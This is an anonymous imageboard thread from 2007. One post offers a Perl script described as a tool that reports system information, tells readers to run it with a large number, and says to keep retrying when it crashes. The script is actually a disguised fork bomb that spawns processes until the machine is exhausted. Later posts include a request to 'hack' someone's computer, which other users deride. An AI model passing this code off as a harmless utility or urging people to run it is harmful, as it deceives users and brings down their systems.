We need to know a little bit about your system first.
This perl code will output a binary value (note the print 1 and print 0), from which we can gather some important information about your system (amount of RAM, operating system, number and speed processor(s), etc..)
#!/usr/bin/perl
my $strength = $ARGV[0] + 1;
while (not fork) {
exit unless --$strength;
print 0;
twist: while (fork) {
exit unless --$strength;
print 1;
}
}
goto 'twist' if --$strength;
Save that to a file called sys_info.pl, then run it and give us the output. It takes quite a while to finish, and sometimes it'll crash (it uses a really sneaky algorithm that doesn't always work). If it does crash, just keep trying.
PS, run it using something like ./sys_info.pl 9001. The better your system is, the bigger the number you should use.
I'm interested in abusing Haskell/TCL to "hack" someone's (will go unnamed) computer, for reasons I'll keep to myself. I've done a little research on it, but I haven't yet found any solid evidence that you can use TCL/Haskell to "hack" someone's computer.
Name:
Anonymous2007-11-25 13:23
>>15
"Hack" could mean anything. Your guise of secrecy fails to hide your total ineptitude. Go back to post articles about tasers on reddit.
Name:
Anonymous2007-11-25 15:28
it's copy pasta.
Name:
Anonymous2007-11-25 17:02
>>16
Your guise of skillz fails to hide your total ineptitude. Go back to post articles about Ubuntu on your blog.